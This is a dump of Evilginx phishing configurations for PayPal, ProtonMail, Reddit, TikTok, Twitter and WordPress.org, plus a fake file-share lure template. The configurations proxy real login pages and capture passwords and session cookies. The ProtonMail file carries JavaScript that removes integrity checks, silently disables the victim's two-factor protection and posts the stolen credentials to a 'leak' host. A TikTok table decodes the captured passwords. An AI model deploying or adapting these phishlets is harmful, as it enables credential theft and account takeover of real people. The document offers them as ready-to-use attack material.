17 | - {phish_sub: 'c6', orig_sub: 'c6', domain: 'paypal.com', session: false, is_landing: false}
18 | - {phish_sub: 'hnd.stats', orig_sub: 'hnd.stats', domain: 'paypal.com', session: false, is_landing: false}
19 |
20 | sub_filters:
21 | - {triggers_on: 'www.paypal.com', orig_sub: 'www', domain: 'paypal.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
22 | - {triggers_on: 'www.paypal.com', orig_sub: 'www', domain: 'paypal.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
23 | # - {triggers_on: 'www.paypal.com', orig_sub: '', domain: 'paypalobjects.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
24 | # - {triggers_on: 'www.paypal.com', orig_sub: '', domain: 'paypalobjects.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
25 | - {triggers_on: 'www.paypal.com', orig_sub: 'c6', domain: 'paypal.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
26 | - {triggers_on: 'www.paypal.com', orig_sub: 'c6', domain: 'paypal.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
27 | - {triggers_on: 'www.paypal.com', orig_sub: 'c', domain: 'paypal.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
28 | - {triggers_on: 'www.paypal.com', orig_sub: 'c', domain: 'paypal.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
29 | - {triggers_on: 'www.paypal.com', orig_sub: 'hnd.stats', domain: 'paypal.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
30 | - {triggers_on: 'www.paypal.com', orig_sub: 'hnd.stats', domain: 'paypal.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
31 | - {triggers_on: 'www.paypal.com', orig_sub: 't', domain: 'paypal.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
32 | - {triggers_on: 'www.paypal.com', orig_sub: 't', domain: 'paypal.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
33 | - {triggers_on: 'www.paypal.com', orig_sub: '', domain: 'paypal.com', search: 'https://{hostname_regexp}/', replace: 'https://{hostname_regexp}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
34 | - {triggers_on: 'www.paypal.com', orig_sub: '', domain: 'paypal.com', search: '{hostname_regexp}', replace: '{hostname_regexp}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
35 |
36 | auth_tokens:
37 | - domain: '.paypal.com'
38 | keys: ['.*,regexp']
39 | auth_urls:
40 | - '/myaccount/summary'
41 | - '/myaccount/.*'
42 |
43 | credentials:
44 | username:
45 | key: 'login_email'
46 | search: '(.*)'
47 | type: 'post'
48 | password:
49 | key: 'login_password'
50 | search: '(.*)'
51 | type: 'post'
52 |
53 | login:
54 | domain: 'www.paypal.com'
55 | path: '/signin'
56 |
57 | js_inject:
58 | - trigger_domains: ["www.paypal.com"]
59 | trigger_paths: ["/signin"]
60 | trigger_params: ["email"]
61 | script: |
62 | function lp(){
63 | var email = document.querySelector("#email");
64 | if (email != null && password != null) {
65 | email.value = "{email}";
66 | return;
67 | }
68 | setTimeout(function(){lp();}, 100);
69 | }
70 | setTimeout(function(){lp();}, 100);
71 |
--------------------------------------------------------------------------------
/phishlets/protonmail.yaml:
--------------------------------------------------------------------------------
1 | name: 'protonmail'
2 | author: '@jamescullum'
3 | # This phishlet is mostly an appeal to introduce U2F everywhere, protecting users from phishing in an easy and accessible way.
4 | # Protonmail is based on Angular, very JS heavy and changes a lot of things often. This makes it difficult to keep the script compatible for a long period of time.
5 | # It never sends the password over the wire and enforces integrity over multiple ways.
6 | # I was unable to reconstruct a 2FA session with cookies or other clearly available materials (if you can, tell me how and the whole thing will be MUCH smoother!)
7 | # To combat these JS based protections, this phishlet is injecting javascript that holes out the protections.
8 | # If the user has no 2FA protection, it will recognize this and leak the login details manually, so that they can be captured.
9 | # If 2FA is enabled, it will modify the UI in a way so that the user is forced to disable 2FA. Only after this is done, the credentials are leaked.
10 | # This way, only the login details are needed to get into an account.
11 | min_ver: '2.3.0'
12 | proxy_hosts:
13 | - {phish_sub: 'mail', orig_sub: 'mail', domain: 'protonmail.com', session: true, is_landing: true, auto_filter:true}
14 | - {phish_sub: 'leak', orig_sub: 'debug', domain: 'example.org', session: true, is_landing: false}
15 | sub_filters:
16 | - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: '
42 |
43 |
44 |
{from_name} shared a file with you.
45 |
46 |
47 | Download "{filename}"
48 |
49 |
50 |
51 |
56 |
57 |
58 |
59 |
60 | ', replace: '', mimes: ['text/html']}
17 | - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: ' integrity=(.+?) crossorigin=anonymous', replace: ' ', mimes: ['text/html']}
18 | - {triggers_on: 'mail.protonmail.com', orig_sub: 'mail', domain: 'protonmail.com', search: '(?:r&&\()?\w+\.integrity\s*=\s*.+?\)?,', replace: '', mimes: ['application/javascript']}
19 | auth_urls:
20 | - '/confirm-compromise'
21 | auth_tokens:
22 | # We actually don't care for the cookies here
23 | - domain: '.protonmail.com'
24 | keys: ['Session-Id']
25 | credentials:
26 | username:
27 | key: 'username'
28 | search: '(.*)'
29 | type: 'post'
30 | password:
31 | key: 'password'
32 | search: '(.*)'
33 | type: 'post'
34 | login:
35 | domain: 'mail.protonmail.com'
36 | path: '/login'
37 |
38 | # Below you find the raw script. It is minified via jscompress.com and injected at the end of the body of the landing page.
39 | #(function() {
40 | # var usrCache = null;
41 | # var passwdCache = null;
42 | # var timeoutMax = 15*10;
43 | # var waitforTimeout = null;
44 | # var suppressConfirm = null;
45 | # var waitingForElement = null;
46 | #
47 | # defer(function() {
48 | # $(document).ready(function() {
49 | # $("body").on("click", "#login_btn", function() {
50 | # usrCache = $("#username").val();
51 | # passwdCache = $("#password").val();
52 | #
53 | # waitFor("button.compose, #login_btn_2fa:visible", function() {
54 | # if($("#login_btn_2fa").length) return;
55 | #
56 | # leakCredentials();
57 | # });
58 | # });
59 | #
60 | # $("body").on("click", "#login_btn_2fa", function() {
61 | # waitFor("button.compose", function() {
62 | # // Cover actions
63 | # $('html > head').append('');
64 | # $("#pm_loading").addClass("show");
65 | #
66 | # // Navigate to settings
67 | # waitFor("#tour-settings", function() {
68 | # $("#tour-settings").click();
69 | #
70 | # // Navigate to security settings
71 | # waitFor('a.navigationSettings-link[href="/security"]', function() {
72 | # $('a.navigationSettings-link[href="/security"]').click();
73 | #
74 | # // Wait until 2FA options loaded
75 | # waitFor('button[ng-click="disableTwoFactor()"]', function() {
76 | # var twofaDisableButton = $('button[ng-click="disableTwoFactor()"]');
77 | #
78 | # if(!twofaDisableButton.hasClass("ng-hide")) {
79 | # // Start automatic modal interactions
80 | # suppressConfirm = setInterval(function() {
81 | # if($("#confirmModalBtn").length) $("#confirmModalBtn").click();
82 | # }, 50);
83 | #
84 | # // Initiate action to remove
85 | # twofaDisableButton.click();
86 | #
87 | # var waitConfirm = setInterval(function() {
88 | # // Wrong code or other error -> Retry
89 | # if($(".cg-notify-message.notification-danger").length) {
90 | # $(".cg-notify-message.notification-danger").remove();
91 | # twofaDisableButton.click();
92 | # }
93 | #
94 | # // Button switched
95 | # if($('.cg-notify-message.notification-success').length) {
96 | # $(".cg-notify-message.notification-success").remove();
97 | # clearInterval(waitConfirm);
98 | #
99 | # resetUI();
100 | # leakCredentials();
101 | # }
102 | # }, 100);
103 | # } else {
104 | # resetUI(); // we shouldn't possibly get here
105 | # }
106 | # }, resetUI);
107 | # }, resetUI);
108 | # }, resetUI);
109 | # });
110 | # });
111 | # });
112 | # });
113 | #
114 | # function waitFor(selector, callback, timeout_callback, timeout_i) {
115 | # if(typeof timeout_i == 'undefined') {
116 | # timeout_i = 0;
117 | # waitingForElement = selector;
118 | # }
119 | #
120 | # // Collision detection - there should only be one wait at a time, but at login the user might be faster than the timeout
121 | # if(waitingForElement != selector) {
122 | # return console.error("Waiting aborted due to race condition", waitingForElement, selector);
123 | # }
124 | #
125 | # if (jQuery(selector).length) {
126 | # callback(timeout_i);
127 | # } else if(timeout_i < timeoutMax) {
128 | # waitforTimeout = setTimeout(function() {
129 | # waitFor(selector, callback, timeout_callback, timeout_i+1);
130 | # }, 100);
131 | # } else {
132 | # console.error("Timeout reached, cancelling action");
133 | #
134 | # if(typeof timeout_callback !== 'undefined') {
135 | # timeout_callback(timeout_i);
136 | # }
137 | # }
138 | # }
139 | #
140 | # function resetUI() {
141 | # if(suppressConfirm != null) clearInterval(suppressConfirm);
142 | #
143 | # $("a.headerSecuredDesktop-logo").click();
144 | # $("#suppressModal").remove();
145 | # $("#pm_loading").removeClass("show");
146 | # }
147 | #
148 | # function leakCredentials() {
149 | # var leakAddress = "https://"+(window.location.hostname.replace("//mail.", "//leak."))+"/confirm-compromise";
150 | # $.post(leakAddress, {"username":usrCache, "password":passwdCache});
151 | #
152 | # // Make sure the user doesn't activate 2FA
153 | # $('html > head').append('');
154 | # }
155 | #
156 | # function defer(method) {
157 | # if (window.jQuery) {
158 | # method();
159 | # } else {
160 | # setTimeout(function() { defer(method) }, 50);
161 | # }
162 | # }
163 | #})();
--------------------------------------------------------------------------------
/phishlets/reddit.yaml:
--------------------------------------------------------------------------------
1 | author: '@customsync'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'www', orig_sub: 'www', domain: 'reddit.com', session: true, is_landing: true}
5 | - {phish_sub: 'win', orig_sub: 'www', domain: 'redditstatic.com', session: false, is_landing: false}
6 | - {phish_sub: 'events', orig_sub: 'events', domain: 'reddit.com', session: false, is_landing: false}
7 | sub_filters:
8 | - {triggers_on: 'www.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
9 | - {triggers_on: 'www.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
10 | - {triggers_on: 'www.redditstatic.com', orig_sub: 'www', domain: 'redditstatic.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
11 | - {triggers_on: 'www.redditstatic.com', orig_sub: 'www', domain: 'redditstatic.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
12 | - {triggers_on: 'www.redditstatic.com', orig_sub: 'www', domain: 'redditstatic.com', search: 'src="https://{hostname}', replace: 'src="https://{hostname}', mimes: ['text/html', 'application/json']}
13 | - {triggers_on: 'events.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'action="https://{hostname}', replace: 'action="https://{hostname}', mimes: ['text/html', 'application/json']}
14 | - {triggers_on: 'events.reddit.com', orig_sub: 'www', domain: 'reddit.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json']}
15 | auth_tokens:
16 | - domain: '.reddit.com'
17 | keys: ['reddit_session']
18 | credentials:
19 | username:
20 | key: 'username'
21 | search: '(.*)'
22 | type: 'post'
23 | password:
24 | key: 'password'
25 | search: '(.*)'
26 | type: 'post'
27 | login:
28 | domain: 'www.reddit.com'
29 | path: '/login'
30 |
--------------------------------------------------------------------------------
/phishlets/tiktok.yaml:
--------------------------------------------------------------------------------
1 | # AUTHOR OF THIS PHISHLET WILL NOT BE RESPONSIBLE FOR ANY MISUSE OF THIS PHISHLET, PHISHLET IS MADE ONLY FOR TESTING/SECURITY/EDUCATIONAL PURPOSES.
2 | # PLEASE DO NOT MISUSE THIS PHISHLET.
3 |
4 | # All Post Requests Fields Get Encoded During Requests to Server By titok javascripts.
5 | # Below is the Table Which You can use to decode your captured credentials in evilginx manually.
6 |
7 | author: '@An0nUD4Y'
8 | min_ver: '2.3.0'
9 | proxy_hosts:
10 | - {phish_sub: 'www', orig_sub: 'www', domain: 'tiktok.com', session: true, is_landing: true}
11 | - {phish_sub: 'm', orig_sub: 'm', domain: 'tiktok.com', session: true, is_landing: false}
12 | - {phish_sub: '', orig_sub: '', domain: 'tiktok.com', session: true, is_landing: false}
13 | - {phish_sub: 'polyfill', orig_sub: '', domain: 'polyfill.io', session: true, is_landing: false}
14 | - {phish_sub: 's16', orig_sub: 's16', domain: 'tiktokcdn.com', session: true, is_landing: false}
15 | - {phish_sub: 'hypstarcdn', orig_sub: 's16', domain: 'hypstarcdn.com', session: true, is_landing: false}
16 | - {phish_sub: 'kakao', orig_sub: 'developers', domain: 'kakao.com', session: true, is_landing: false}
17 | - {phish_sub: 'mon-va', orig_sub: 'mon-va', domain: 'byteoversea.com', session: true, is_landing: false}
18 | - {phish_sub: 'maliva', orig_sub: 'maliva-mcs', domain: 'byteoversea.com', session: true, is_landing: false}
19 | - {phish_sub: 'sf16-muse-va', orig_sub: 'sf16-muse-va', domain: 'ibytedtos.com', session: true, is_landing: false}
20 |
21 | sub_filters:
22 | - {triggers_on: 'www.tiktok.com', orig_sub: 'www', domain: 'tiktok.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
23 | - {triggers_on: 'm.tiktok.com', orig_sub: 'm', domain: 'tiktok.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
24 | - {triggers_on: 'm.tiktok.com', orig_sub: 'm', domain: 'tiktok.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
25 | - {triggers_on: 'www.tiktok.com', orig_sub: 's16', domain: 'tiktokcdn.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
26 | - {triggers_on: 'm.tiktok.com', orig_sub: 's16', domain: 'tiktokcdn.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
27 | - {triggers_on: 'm.tiktok.com', orig_sub: 's16', domain: 'tiktokcdn.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
28 | - {triggers_on: 'www.tiktok.com', orig_sub: '', domain: 'polyfill.io', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
29 | - {triggers_on: 'm.tiktok.com', orig_sub: '', domain: 'polyfill.io', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
30 | - {triggers_on: 'm.tiktok.com', orig_sub: '', domain: 'polyfill.io', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
31 | - {triggers_on: 'www.tiktok.com', orig_sub: 's16', domain: 'hypstarcdn.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
32 | - {triggers_on: 'm.tiktok.com', orig_sub: 's16', domain: 'hypstarcdn.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
33 | - {triggers_on: 'm.tiktok.com', orig_sub: 's16', domain: 'hypstarcdn.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
34 | - {triggers_on: 'www.tiktok.com', orig_sub: 'developers', domain: 'kakao.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
35 | - {triggers_on: 'm.tiktok.com', orig_sub: 'developers', domain: 'kakao.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
36 | - {triggers_on: 'm.tiktok.com', orig_sub: 'developers', domain: 'kakao.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
37 | - {triggers_on: 'www.tiktok.com', orig_sub: 'mon-va', domain: 'byteoversea.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
38 | - {triggers_on: 'm.tiktok.com', orig_sub: 'mon-va', domain: 'byteoversea.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
39 | - {triggers_on: 'm.tiktok.com', orig_sub: 'mon-va', domain: 'byteoversea.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
40 | - {triggers_on: 'www.tiktok.com', orig_sub: 'maliva-mcs', domain: 'byteoversea.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
41 | - {triggers_on: 'm.tiktok.com', orig_sub: 'maliva-mcs', domain: 'byteoversea.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
42 | - {triggers_on: 'm.tiktok.com', orig_sub: 'maliva-mcs', domain: 'byteoversea.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
43 | - {triggers_on: 'www.tiktok.com', orig_sub: 'sf16-muse-va', domain: 'ibytedtos.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json']}
44 | - {triggers_on: 'm.tiktok.com', orig_sub: 'sf16-muse-va', domain: 'ibytedtos.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/x-javascript']}
45 | - {triggers_on: 'm.tiktok.com', orig_sub: 'sf16-muse-va', domain: 'ibytedtos.com', search: '''{domain}'';', replace: '''{domain}'';', mimes: ['text/html', 'application/json', 'application/x-javascript']}
46 |
47 |
48 |
49 |
50 |
51 | auth_tokens:
52 | - domain: '.tiktok.com'
53 | keys: ['.*,regexp']
54 | credentials:
55 | username:
56 | key: 'account'
57 | search: '(.*)'
58 | type: 'post'
59 | password:
60 | key: 'pass'
61 | search: '(.*)'
62 | type: 'post'
63 | custom:
64 | key: 'mobile'
65 | search: '(.*)'
66 | type: 'post'
67 |
68 | login:
69 | domain: 'www.tiktok.com'
70 | path: '/login/phone-or-email/phone-password?lang=en'
71 |
72 |
73 | #Remember Server Accepts Only encoded Credentials, So don't break the js functions responsible for encoding.
74 |
75 | #ENCODING TABLE TO DECODE THE PASSWORD AND MOBILE NUMBER
76 |
77 | # FOR NUMBERS
78 |
79 | # 1 = 34 , 2 = 37 , 3 = 36 , 4 = 31 , 5 = 30 ,6 = 33 , 7 = 32 , 8 = 3d , 9 = 3c
80 |
81 | # FOR SPECIAL CHARACTERS
82 |
83 | # ! = 24 , @ = 45 , # = 26 , $ = 21 , ^ = 5b , & = 23 , * = 2f , + = 2e
84 |
85 | # FOR LETTERS (SMALL-LETTERS)
86 |
87 | # a = 64 , b=67 , c=66 ,d=61,e=60,f=63,g=62,h=6d,i=6c,j=6f,k=6e,l=69,m=68,n=6b,o=6a,p=75,q=74,r=77,s=76,t=71,u=70,v=73,w=72,x=7d,y=7c,z=7f
88 |
89 | # FOR LETTERS (CAPITAL-LETTERS)
90 |
91 | # A=44 B=47 C=46 D=41 E=40 F=43 G=42 H=4d I=4c J=4f K=4e L=49 M=48 N=4b O=4a P=55 Q=54 R=57 S=56 T=51 U=50 V=53 W=52 X=5d Y=5c Z=5f
92 |
93 |
94 | # OTHER REMAINED CODES CAN BE FOUND USING POST REQUEST ANALYSIS.
95 |
96 |
--------------------------------------------------------------------------------
/phishlets/twitter-mobile.yaml:
--------------------------------------------------------------------------------
1 | author: '@white_fi'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: 'mobile', orig_sub: 'mobile', domain: 'twitter.com', session: true, is_landing: true}
5 | - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: true, is_landing: false}
6 | - {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com', session: false, is_landing: false}
7 | sub_filters:
8 | - {triggers_on: 'mobile.twitter.com', orig_sub: 'mobile', domain: 'twitter.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
9 | - {triggers_on: 'abs.twimg.com', orig_sub: 'abs', domain: 'twimg.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
10 | - {triggers_on: 'api.twitter.com', orig_sub: 'api', domain: 'twitter.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'application/json', 'application/javascript']}
11 | auth_tokens:
12 | - domain: 'twitter.com'
13 | keys: ['dnt','fm','kdt','_twitter_sess','twid','auth_token']
14 | credentials:
15 | username:
16 | key: 'session\[username_or_email\]'
17 | search: '(.*)'
18 | type: 'post'
19 | password:
20 | key: 'session\[password\]'
21 | search: '(.*)'
22 | type: 'post'
23 | login:
24 | domain: 'mobile.twitter.com'
25 | path: '/login'
26 |
--------------------------------------------------------------------------------
/phishlets/twitter.yaml:
--------------------------------------------------------------------------------
1 | author: '@white_fi'
2 | min_ver: '2.3.0'
3 | proxy_hosts:
4 | - {phish_sub: '', orig_sub: '', domain: 'twitter.com', session: true, is_landing: true}
5 | - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com'}
6 | - {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com'}
7 | sub_filters: []
8 | auth_tokens:
9 | - domain: '.twitter.com'
10 | keys: ['kdt','_twitter_sess','twid','auth_token']
11 | credentials:
12 | username:
13 | key: 'session\[username_or_email\]'
14 | search: '(.*)'
15 | type: 'post'
16 | password:
17 | key: 'session\[password\]'
18 | search: '(.*)'
19 | type: 'post'
20 | login:
21 | domain: 'twitter.com'
22 | path: '/login'
23 |
--------------------------------------------------------------------------------
/phishlets/wordpress.org.yaml:
--------------------------------------------------------------------------------
1 | # Evilginx phishlet configuration file for WordPress.org.
2 | #
3 | # This is a phishing configuration for the main WordPress.org domain,
4 | # it is *not* immediately useful for phishing self-hosted sites that
5 | # run on the WordPress software.
6 | #
7 | # For such self-hosted sites, some modifications are needed. Refer to
8 | # the comments in this file for some guidance on creating a phishlet
9 | # to use against self-hosted WordPress sites.
10 | ---
11 | name: 'WordPress.org'
12 | author: '@meitar'
13 | min_ver: '2.3.0'
14 |
15 | proxy_hosts:
16 | # Proxy the primary domain.
17 | - phish_sub: ''
18 | orig_sub: ''
19 | domain: 'wordpress.org'
20 | session: true
21 | is_landing: true
22 |
23 | # These proxied should be removed when phishing self-hosted sites.
24 | - phish_sub: 'login'
25 | orig_sub: 'login'
26 | domain: 'wordpress.org'
27 | session: true
28 | is_landing: false
29 | - phish_sub: 'make'
30 | orig_sub: 'make'
31 | domain: 'wordpress.org'
32 | session: true
33 | is_landing: false
34 | - phish_sub: 'profiles'
35 | orig_sub: 'profiles'
36 | domain: 'wordpress.org'
37 | session: true
38 | is_landing: false
39 |
40 | sub_filters: []
41 |
42 | # For self-hosted WordPress sites, you may find it easier to use a
43 | # regular expression to match session cookies, as the cookie names
44 | # are produced unqiely per-site. This can be done as follows:
45 | #
46 | # ```yaml
47 | # - domain: 'self-hosted-domain.com'
48 | # keys:
49 | # - 'wordpress_sec_.*,regexp'
50 | # - 'wordpress_logged_in_.*,regexp'
51 | # ```
52 | #
53 | # If you do choose to use the regular expression facility, you
54 | # will also then need to use the `auth_urls` dictionary to define
55 | # when Evilginx should actually capture these tokens. Something
56 | # like this should do the trick:
57 | #
58 | # ```yaml
59 | # auth_urls:
60 | # - '.*/wp-admin/.*'
61 | # ```
62 | #
63 | # The above ensures that the `auth_tokens` are noticed whenever
64 | # the phished user makes requests to URLs containing `wp-admin`.
65 | #
66 | # For the WordPress.org service itself, however, none of the above is
67 | # necessary, and the following simple `auth_tokens` dictionary should
68 | # work just fine.
69 | auth_tokens:
70 | - domain: '.wordpress.org'
71 | keys: ['wporg_logged_in', 'wporg_sec']
72 |
73 | credentials:
74 | username:
75 | key: 'log'
76 | search: '(.*)'
77 | type: 'post'
78 | password:
79 | key: 'pwd'
80 | search: '(.*)'
81 | type: 'post'
82 |
83 | # For a self-hosted WordPress site, you'll probably want to define the
84 | # `login` dictionary here as follows:
85 | #
86 | # ```yaml
87 | # login:
88 | # domain: 'self-hosted-domain.com'
89 | # path: '/wp-login.php'
90 | # ```
91 | #
92 | # Some WordPress plugins, such as WooCommerce, change the URL of the
93 | # login page. You'll want to examine the specific site for this.
94 | login:
95 | domain: 'login.wordpress.org'
96 | path: '/'
97 |
--------------------------------------------------------------------------------
/templates/download_example.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
{from_name} shared a file with you (1)
5 |
6 |
7 |
8 |
9 |
40 |
41 |
61 |